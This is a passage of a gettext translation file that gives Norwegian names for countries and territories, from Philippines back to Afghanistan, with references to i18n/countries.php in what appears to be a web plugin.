#: i18n/countries.php:190
msgid "Philippines"
msgstr "Filippinene"
#: i18n/countries.php:189
msgid "Peru"
msgstr "Peru"
#: i18n/countries.php:188
msgid "Paraguay"
msgstr "Paraguay"
#: i18n/countries.php:187
msgid "Papua New Guinea"
msgstr "Papua Ny-Guinea"
#: i18n/countries.php:186
msgid "Panama"
msgstr "Panama"
#: i18n/countries.php:185
msgid "Palestinian Territory"
msgstr "De palestinske territoriene"
#: i18n/countries.php:184
msgid "Pakistan"
msgstr "Pakistan"
#: i18n/countries.php:183
msgid "Oman"
msgstr "Oman"
#: i18n/countries.php:182
msgid "Norway"
msgstr "Norge"
#: i18n/countries.php:181
msgid "North Korea"
msgstr "Nord-Korea"
#: i18n/countries.php:179
msgid "Norfolk Island"
msgstr "Norfolkøya"
#: i18n/countries.php:178
msgid "Niue"
msgstr "Niue"
#: i18n/countries.php:177
msgid "Nigeria"
msgstr "Nigeria"
#: i18n/countries.php:176 i18n/states.php:1398
msgid "Niger"
msgstr "Niger"
#: i18n/countries.php:175
msgid "Nicaragua"
msgstr "Nicaragua"
#: i18n/countries.php:174
msgid "New Zealand"
msgstr "New Zealand"
#: i18n/countries.php:173
msgid "New Caledonia"
msgstr "Ny-Caledonia"
#: i18n/countries.php:172
msgid "Netherlands"
msgstr "Nederland"
#: i18n/countries.php:171
msgid "Nepal"
msgstr "Nepal"
#: i18n/countries.php:170
msgid "Nauru"
msgstr "Nauru"
#: i18n/countries.php:169
msgid "Namibia"
msgstr "Namibia"
#: i18n/countries.php:168
msgid "Myanmar"
msgstr "Myanmar"
#: i18n/countries.php:167
msgid "Mozambique"
msgstr "Mosambik"
#: i18n/countries.php:166
msgid "Morocco"
msgstr "Marokko"
#: i18n/countries.php:165
msgid "Montserrat"
msgstr "Montserrat"
#: i18n/countries.php:164
msgid "Montenegro"
msgstr "Montenegro"
#: i18n/countries.php:163
msgid "Mongolia"
msgstr "Mongolia"
#: i18n/countries.php:162
msgid "Monaco"
msgstr "Monaco"
#: i18n/countries.php:161
msgid "Moldova"
msgstr "Moldova"
#: i18n/countries.php:160
msgid "Micronesia"
msgstr "Mikronesia"
#: i18n/countries.php:159
msgid "Mexico"
msgstr "Mexico"
#: i18n/countries.php:158
msgid "Mayotte"
msgstr "Mayotte"
#: i18n/countries.php:157
msgid "Mauritius"
msgstr "Mauritius"
#: i18n/countries.php:156
msgid "Mauritania"
msgstr "Mauritania"
#: i18n/countries.php:155
msgid "Martinique"
msgstr "Martinique"
#: i18n/countries.php:154
msgid "Marshall Islands"
msgstr "Marshalløyene"
#: i18n/countries.php:153
msgid "Malta"
msgstr "Malta"
#: i18n/countries.php:152
msgid "Mali"
msgstr "Mali"
#: i18n/countries.php:151
msgid "Maldives"
msgstr "Maldivene"
#: i18n/countries.php:150
msgid "Malaysia"
msgstr "Malaysia"
#: i18n/countries.php:149
msgid "Malawi"
msgstr "Malawi"
#: i18n/countries.php:148
msgid "Madagascar"
msgstr "Madagaskar"
#: i18n/countries.php:145
msgid "Luxembourg"
msgstr "Luxemburg"
#: i18n/countries.php:144
msgid "Lithuania"
msgstr "Litauen"
#: i18n/countries.php:143
msgid "Liechtenstein"
msgstr "Liechtenstein"
#: i18n/countries.php:142
msgid "Libya"
msgstr "Libya"
#: i18n/countries.php:141
msgid "Liberia"
msgstr "Liberia"
#: i18n/countries.php:140
msgid "Lesotho"
msgstr "Lesotho"
#: i18n/countries.php:139
msgid "Lebanon"
msgstr "Libanon"
#: i18n/countries.php:138
msgid "Latvia"
msgstr "Latvia"
#: i18n/countries.php:137
msgid "Laos"
msgstr "Laos"
#: i18n/countries.php:136
msgid "Kyrgyzstan"
msgstr "Kirgisistan"
#: i18n/countries.php:135
msgid "Kuwait"
msgstr "Kuwait"
#: i18n/countries.php:133
msgid "Kiribati"
msgstr "Kiribati"
#: i18n/countries.php:132
msgid "Kenya"
msgstr "Kenya"
#: i18n/countries.php:131
msgid "Kazakhstan"
msgstr "Kasakhstan"
#: i18n/countries.php:130
msgid "Jordan"
msgstr "Jordan"
#: i18n/countries.php:129
msgid "Jersey"
msgstr "Jersey"
#: i18n/countries.php:128
msgid "Japan"
msgstr "Japan"
#: i18n/countries.php:127
msgid "Jamaica"
msgstr "Jamaica"
#: i18n/countries.php:126
msgid "Ivory Coast"
msgstr "Elfenbenskysten"
#: i18n/countries.php:125
msgid "Italy"
msgstr "Italia"
#: i18n/countries.php:124
msgid "Israel"
msgstr "Israel"
#: i18n/countries.php:123
msgid "Isle of Man"
msgstr "Isle of Man"
#: i18n/countries.php:121
msgid "Iraq"
msgstr "Irak"
#: i18n/countries.php:120
msgid "Iran"
msgstr "Iran"
#: i18n/countries.php:119
msgid "Indonesia"
msgstr "Indonesia"
#: i18n/countries.php:118
msgid "India"
msgstr "India"
#: i18n/countries.php:117
msgid "Iceland"
msgstr "Island"
#: i18n/countries.php:116
msgid "Hungary"
msgstr "Ungarn"
#: i18n/countries.php:115
msgid "Hong Kong"
msgstr "Hong Kong"
#: i18n/countries.php:114
msgid "Honduras"
msgstr "Honduras"
#: i18n/countries.php:113
msgid "Heard Island and McDonald Islands"
msgstr "Heard- og McDonaldøyene"
#: i18n/countries.php:112
msgid "Haiti"
msgstr "Haiti"
#: i18n/countries.php:111
msgid "Guyana"
msgstr "Guyana"
#: i18n/countries.php:110
msgid "Guinea-Bissau"
msgstr "Guinea-Bissau"
#: i18n/countries.php:109
msgid "Guinea"
msgstr "Guinea"
#: i18n/countries.php:108
msgid "Guernsey"
msgstr "Guernsey"
#: i18n/countries.php:107 i18n/states.php:655
msgid "Guatemala"
msgstr "Guatemala"
#: i18n/countries.php:105
msgid "Guadeloupe"
msgstr "Guadeloupe"
#: i18n/countries.php:104
msgid "Grenada"
msgstr "Grenada"
#: i18n/countries.php:103
msgid "Greenland"
msgstr "Grønland"
#: i18n/countries.php:102
msgid "Greece"
msgstr "Hellas"
#: i18n/countries.php:101
msgid "Gibraltar"
msgstr "Gibraltar"
#: i18n/countries.php:100
msgid "Ghana"
msgstr "Ghana"
#: i18n/countries.php:99
msgid "Germany"
msgstr "Tyskland"
#: i18n/countries.php:98
msgid "Georgia"
msgstr "Georgia"
#: i18n/countries.php:97
msgid "Gambia"
msgstr "Gambia"
#: i18n/countries.php:96
msgid "Gabon"
msgstr "Gabon"
#: i18n/countries.php:95
msgid "French Southern Territories"
msgstr "De franske sørterritorier"
#: i18n/countries.php:94
msgid "French Polynesia"
msgstr "Fransk Polynesia"
#: i18n/countries.php:93
msgid "French Guiana"
msgstr "Fransk Guyana"
#: i18n/countries.php:92
msgid "France"
msgstr "Frankrike"
#: i18n/countries.php:91
msgid "Finland"
msgstr "Finland"
#: i18n/countries.php:90
msgid "Fiji"
msgstr "Fiji"
#: i18n/countries.php:89
msgid "Faroe Islands"
msgstr "Færøyene"
#: i18n/countries.php:88
msgid "Falkland Islands"
msgstr "Falklandsøyene"
#: i18n/countries.php:87
msgid "Ethiopia"
msgstr "Etiopia"
#: i18n/countries.php:86
msgid "Estonia"
msgstr "Estland"
#: i18n/countries.php:85
msgid "Eritrea"
msgstr "Eritrea"
#: i18n/countries.php:84
msgid "Equatorial Guinea"
msgstr "Ekvatorial-Guinea"
#: i18n/countries.php:83
msgid "El Salvador"
msgstr "El Salvador"
#: i18n/countries.php:82
msgid "Egypt"
msgstr "Egypt"
#: i18n/countries.php:81
msgid "Ecuador"
msgstr "Ecuador"
#: i18n/countries.php:80
msgid "Dominican Republic"
msgstr "Dominikanske Republikk"
#: i18n/countries.php:79
msgid "Dominica"
msgstr "Dominica"
#: i18n/countries.php:78
msgid "Djibouti"
msgstr "Djibouti"
#: i18n/countries.php:77
msgid "Denmark"
msgstr "Danmark"
#: i18n/countries.php:76
msgid "Czech Republic"
msgstr "Tsjekkia"
#: i18n/countries.php:75
msgid "Cyprus"
msgstr "Kypros"
#: i18n/countries.php:74
msgid "Curaçao"
msgstr "Curaçao"
#: i18n/countries.php:73
msgid "Cuba"
msgstr "Cuba"
#: i18n/countries.php:72
msgid "Croatia"
msgstr "Kroatia"
#: i18n/countries.php:71
msgid "Costa Rica"
msgstr "Costa Rica"
#: i18n/countries.php:70
msgid "Cook Islands"
msgstr "Cook Islands"
#: i18n/countries.php:69
msgid "Congo (Kinshasa)"
msgstr "Kongo (Kinshasa)"
#: i18n/countries.php:68
msgid "Congo (Brazzaville)"
msgstr "Kongo (Brazzaville)"
#: i18n/countries.php:67
msgid "Comoros"
msgstr "Komorene"
#: i18n/countries.php:66
msgid "Colombia"
msgstr "Colombia"
#: i18n/countries.php:65
msgid "Cocos (Keeling) Islands"
msgstr "Kokosøyene (Keeling)"
#: i18n/countries.php:64
msgid "Christmas Island"
msgstr "Juleøya"
#: i18n/countries.php:63
msgid "China"
msgstr "Kina"
#: i18n/countries.php:62
msgid "Chile"
msgstr "Chile"
#: i18n/countries.php:61
msgid "Chad"
msgstr "Tsjad"
#: i18n/countries.php:60
msgid "Central African Republic"
msgstr "Sentralafrikanske Republikk"
#: i18n/countries.php:59
msgid "Cayman Islands"
msgstr "Caymanøyene"
#: i18n/countries.php:58
msgid "Cape Verde"
msgstr "Kapp Verde"
#: i18n/countries.php:57
msgid "Canada"
msgstr "Canada"
#: i18n/countries.php:56
msgid "Cameroon"
msgstr "Kamerun"
#: i18n/countries.php:55
msgid "Cambodia"
msgstr "Kambodsja"
#: i18n/countries.php:54
msgid "Burundi"
msgstr "Burundi"
#: i18n/countries.php:53
msgid "Burkina Faso"
msgstr "Burkina Faso"
#: i18n/countries.php:52
msgid "Bulgaria"
msgstr "Bulgaria"
#: i18n/countries.php:51
msgid "Brunei"
msgstr "Brunei"
#: i18n/countries.php:50
msgid "British Indian Ocean Territory"
msgstr "British Indian Ocean Territory"
#: i18n/countries.php:49
msgid "Brazil"
msgstr "Brasil"
#: i18n/countries.php:48
msgid "Bouvet Island"
msgstr "Bouvetøya"
#: i18n/countries.php:47
msgid "Botswana"
msgstr "Botswana"
#: i18n/countries.php:46
msgid "Bosnia and Herzegovina"
msgstr "Bosnia Hercegovina"
#: i18n/countries.php:45
msgid "Bonaire, Saint Eustatius and Saba"
msgstr "Bonaire, Sint Eustatius og Saba"
#: i18n/countries.php:44
msgid "Bolivia"
msgstr "Bolivia"
#: i18n/countries.php:43
msgid "Bhutan"
msgstr "Bhutan"
#: i18n/countries.php:42
msgid "Bermuda"
msgstr "Bermuda"
#: i18n/countries.php:41
msgid "Benin"
msgstr "Benin"
#: i18n/countries.php:40
msgid "Belize"
msgstr "Belize"
#: i18n/countries.php:39
msgid "Belau"
msgstr "Belau"
#: i18n/countries.php:38
msgid "Belgium"
msgstr "Belgia"
#: i18n/countries.php:37
msgid "Belarus"
msgstr "Hviterussland"
#: i18n/countries.php:36
msgid "Barbados"
msgstr "Barbados"
#: i18n/countries.php:35
msgid "Bangladesh"
msgstr "Bangladesh"
#: i18n/countries.php:34
msgid "Bahrain"
msgstr "Bahrain"
#: i18n/countries.php:33
msgid "Bahamas"
msgstr "Bahamas"
#: i18n/countries.php:32
msgid "Azerbaijan"
msgstr "Aserbajdsjan"
#: i18n/countries.php:31
msgid "Austria"
msgstr "Østerrike"
#: i18n/countries.php:30
msgid "Australia"
msgstr "Australia"
#: i18n/countries.php:29
msgid "Aruba"
msgstr "Aruba"
#: i18n/countries.php:28
msgid "Armenia"
msgstr "Armenia"
#: i18n/countries.php:27
msgid "Argentina"
msgstr "Argentina"
#: i18n/countries.php:26
msgid "Antigua and Barbuda"
msgstr "Antigua og Barbuda"
#: i18n/continents.php:78 i18n/countries.php:25
msgid "Antarctica"
msgstr "Antarktis"
#: i18n/countries.php:24
msgid "Anguilla"
msgstr "Anguilla"
#: i18n/countries.php:23
msgid "Angola"
msgstr "Angola"
#: i18n/countries.php:22
msgid "Andorra"
msgstr "Andorra"
#: i18n/countries.php:20
msgid "Algeria"
msgstr "Algerie"
#: i18n/countries.php:19
msgid "Albania"
msgstr "Albania"
#: i18n/countries.php:17
msgid "Afghanistan"
msgstr "Afghanistan"